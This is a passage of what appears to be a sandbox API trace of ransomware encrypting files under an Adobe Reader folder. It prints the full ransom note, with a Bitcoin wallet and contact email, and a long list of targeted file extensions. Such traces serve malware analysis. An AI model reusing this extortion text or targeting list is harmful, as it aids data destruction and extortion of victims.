10.0\\Reader\\Legal\\NOR\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html.lockerxxs")) returned 1 [0070.093] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xba2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0070.093] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.093] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="POL", cAlternateFileName="")) returned 1 [0070.093] lstrcmpA (lpString1=".", lpString2="POL") returned -1 [0070.093] lstrcmpA (lpString1="..", lpString2="POL") returned -1 [0070.093] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0070.093] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="POL" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL" [0070.093] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.096] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.097] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a76e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.097] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.097] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.097] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0070.097] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.097] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0070.097] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0070.097] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0070.097] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*.*") returned="*.*" [0070.097] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\" [0070.097] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\") returned="" [0070.097] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\HOW TO DECRYPT FILES.txt" [0070.097] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\how to decrypt files.txt")) returned 0xffffffff [0070.097] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.098] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0070.098] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0070.099] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.099] CloseHandle (hObject=0x94) returned 1 [0070.100] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini" [0070.100] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.ems") returned 0 [0070.100] lstrlenA (lpString="*.ems") returned 5 [0070.100] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.db") returned 0 [0070.100] lstrlenA (lpString="*.db") returned 4 [0070.100] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.dbf") returned 0 [0070.100] lstrlenA (lpString="*.dbf") returned 5 [0070.100] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.myox") returned 0 [0070.100] lstrlenA (lpString="*.myox") returned 6 [0070.100] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.myo") returned 0 [0070.101] lstrlenA (lpString="*.myo") returned 5 [0070.101] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.qbw") returned 0 [0070.101] lstrlenA (lpString="*.qbw") returned 5 [0070.101] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.qbb") returned 0 [0070.101] lstrlenA (lpString="*.qbb") returned 5 [0070.101] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.qbm") returned 0 [0070.101] lstrlenA (lpString="*.qbm") returned 5 [0070.101] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.qbo") returned 0 [0070.101] lstrlenA (lpString="*.qbo") returned 5 [0070.101] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.qbx") returned 0 [0070.101] lstrlenA (lpString="*.qbx") returned 5 [0070.101] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.qba") returned 0 [0070.101] lstrlenA (lpString="*.qba") returned 5 [0070.101] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.qby") returned 0 [0070.101] lstrlenA (lpString="*.qby") returned 5 [0070.101] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.qbj") returned 0 [0070.101] lstrlenA (lpString="*.qbj") returned 5 [0070.101] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.ofx") returned 0 [0070.101] lstrlenA (lpString="*.ofx") returned 5 [0070.101] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.qif") returned 0 [0070.101] lstrlenA (lpString="*.qif") returned 5 [0070.101] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.mye") returned 0 [0070.101] lstrlenA (lpString="*.mye") returned 5 [0070.101] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.mbox") returned 0 [0070.102] lstrlenA (lpString="*.mbox") returned 6 [0070.102] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.eml") returned 0 [0070.102] lstrlenA (lpString="*.eml") returned 5 [0070.102] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.pst") returned 0 [0070.102] lstrlenA (lpString="*.pst") returned 5 [0070.102] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.ost") returned 0 [0070.102] lstrlenA (lpString="*.ost") returned 5 [0070.102] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.idx") returned 0 [0070.102] lstrlenA (lpString="*.idx") returned 5 [0070.102] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.dbx") returned 0 [0070.102] lstrlenA (lpString="*.dbx") returned 5 [0070.102] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.sql") returned 0 [0070.102] lstrlenA (lpString="*.sql") returned 5 [0070.102] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.mdb") returned 0 [0070.102] lstrlenA (lpString="*.mdb") returned 5 [0070.102] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.fdb") returned 0 [0070.102] lstrlenA (lpString="*.fdb") returned 5 [0070.102] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.wab") returned 0 [0070.102] lstrlenA (lpString="*.wab") returned 5 [0070.102] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.dat") returned 0 [0070.102] lstrlenA (lpString="*.dat") returned 5 [0070.102] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.txt") returned 0 [0070.102] lstrlenA (lpString="*.txt") returned 5 [0070.103] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.jpeg") returned 0 [0070.103] lstrlenA (lpString="*.jpeg") returned 6 [0070.103] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.jpg") returned 0 [0070.103] lstrlenA (lpString="*.jpg") returned 5 [0070.103] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.png") returned 0 [0070.103] lstrlenA (lpString="*.png") returned 5 [0070.103] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.php") returned 0 [0070.103] lstrlenA (lpString="*.php") returned 5 [0070.103] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.cs") returned 0 [0070.103] lstrlenA (lpString="*.cs") returned 4 [0070.103] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.cpp") returned 0 [0070.103] lstrlenA (lpString="*.cpp") returned 5 [0070.103] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.rar") returned 0 [0070.103] lstrlenA (lpString="*.rar") returned 5 [0070.103] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.zip") returned 0 [0070.103] lstrlenA (lpString="*.zip") returned 5 [0070.103] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.html") returned 0 [0070.103] lstrlenA (lpString="*.html") returned 6 [0070.103] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.htm") returned 0 [0070.103] lstrlenA (lpString="*.htm") returned 5 [0070.103] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.xlsx") returned 0 [0070.103] lstrlenA (lpString="*.xlsx") returned 6 [0070.104] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.xls") returned 0 [0070.104] lstrlenA (lpString="*.xls") returned 5 [0070.104] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.mp4") returned 0 [0070.104] lstrlenA (lpString="*.mp4") returned 5 [0070.104] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.ppt") returned 0 [0070.104] lstrlenA (lpString="*.ppt") returned 5 [0070.104] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.pptx") returned 0 [0070.104] lstrlenA (lpString="*.pptx") returned 6 [0070.104] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.doc") returned 0 [0070.104] lstrlenA (lpString="*.doc") returned 5 [0070.104] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.dot") returned 0 [0070.104] lstrlenA (lpString="*.dot") returned 5 [0070.104] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.docx") returned 0 [0070.104] lstrlenA (lpString="*.docx") returned 6 [0070.104] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.7z") returned 0 [0070.104] lstrlenA (lpString="*.7z") returned 4 [0070.104] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.tar") returned 0 [0070.104] lstrlenA (lpString="*.tar") returned 5 [0070.104] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.bz2") returned 0 [0070.104] lstrlenA (lpString="*.bz2") returned 5 [0070.104] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.gz") returned 0 [0070.104] lstrlenA (lpString="*.gz") returned 4 [0070.104] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.mkv") returned 0 [0070.105] lstrlenA (lpString="*.mkv") returned 5 [0070.105] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.eml") returned 0 [0070.105] lstrlenA (lpString="*.eml") returned 5 [0070.105] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.msg") returned 0 [0070.105] lstrlenA (lpString="*.msg") returned 5 [0070.105] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.edb") returned 0 [0070.105] lstrlenA (lpString="*.edb") returned 5 [0070.105] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.accdb") returned 0 [0070.105] lstrlenA (lpString="*.accdb") returned 7 [0070.105] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.odb") returned 0 [0070.105] lstrlenA (lpString="*.odb") returned 5 [0070.105] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.java") returned 0 [0070.105] lstrlenA (lpString="*.java") returned 6 [0070.105] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.asm") returned 0 [0070.105] lstrlenA (lpString="*.asm") returned 5 [0070.105] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.pfx") returned 0 [0070.105] lstrlenA (lpString="*.pfx") returned 5 [0070.105] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.pem") returned 0 [0070.105] lstrlenA (lpString="*.pem") returned 5 [0070.105] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.p12") returned 0 [0070.105] lstrlenA (lpString="*.p12") returned 5 [0070.105] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.gpg") returned 0 [0070.106] lstrlenA (lpString="*.gpg") returned 5 [0070.106] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.vsd") returned 0 [0070.106] lstrlenA (lpString="*.vsd") returned 5 [0070.106] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.odg") returned 0 [0070.106] lstrlenA (lpString="*.odg") returned 5 [0070.106] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.raw") returned 0 [0070.106] lstrlenA (lpString="*.raw") returned 5 [0070.106] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.nef") returned 0 [0070.106] lstrlenA (lpString="*.nef") returned 5 [0070.106] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.svg") returned 0 [0070.106] lstrlenA (lpString="*.svg") returned 5 [0070.106] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.psd") returned 0 [0070.106] lstrlenA (lpString="*.psd") returned 5 [0070.106] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.vmx") returned 0 [0070.106] lstrlenA (lpString="*.vmx") returned 5 [0070.106] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.vmdk") returned 0 [0070.106] lstrlenA (lpString="*.vmdk") returned 6 [0070.106] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.vdi") returned 0 [0070.106] lstrlenA (lpString="*.vdi") returned 5 [0070.106] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.lay6") returned 0 [0070.106] lstrlenA (lpString="*.lay6") returned 6 [0070.106] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.mpeg") returned 0 [0070.106] lstrlenA (lpString="*.mpeg") returned 6 [0070.106] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.djvu") returned 0 [0070.107] lstrlenA (lpString="*.djvu") returned 6 [0070.107] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.tiff") returned 0 [0070.107] lstrlenA (lpString="*.tiff") returned 6 [0070.107] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.backup") returned 0 [0070.107] lstrlenA (lpString="*.backup") returned 8 [0070.107] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.pdf") returned 0 [0070.107] lstrlenA (lpString="*.pdf") returned 5 [0070.107] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.cert") returned 0 [0070.107] lstrlenA (lpString="*.cert") returned 6 [0070.107] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.docm") returned 0 [0070.107] lstrlenA (lpString="*.docm") returned 6 [0070.107] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.xlsm") returned 0 [0070.107] lstrlenA (lpString="*.xlsm") returned 6 [0070.107] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.dwg") returned 0 [0070.107] lstrlenA (lpString="*.dwg") returned 5 [0070.107] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.nd") returned 0 [0070.107] lstrlenA (lpString="*.nd") returned 4 [0070.107] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.tlg") returned 0 [0070.107] lstrlenA (lpString="*.tlg") returned 5 [0070.107] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.lgb") returned 0 [0070.107] lstrlenA (lpString="*.lgb") returned 5 [0070.107] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.mov") returned 0 [0070.108] lstrlenA (lpString="*.mov") returned 5 [0070.108] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.xdw") returned 0 [0070.108] lstrlenA (lpString="*.xdw") returned 5 [0070.108] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.ods") returned 0 [0070.108] lstrlenA (lpString="*.ods") returned 5 [0070.108] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.wav") returned 0 [0070.108] lstrlenA (lpString="*.wav") returned 5 [0070.108] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.mp3") returned 0 [0070.108] lstrlenA (lpString="*.mp3") returned 5 [0070.108] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.aiff") returned 0 [0070.108] lstrlenA (lpString="*.aiff") returned 6 [0070.108] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.flac") returned 0 [0070.108] lstrlenA (lpString="*.flac") returned 6 [0070.108] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.m4a") returned 0 [0070.108] lstrlenA (lpString="*.m4a") returned 5 [0070.108] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\eula.ini", pszSpec="*.csv") returned 0 [0070.108] lstrlenA (lpString="*.csv") returned 5 [0070.108] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a76e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, 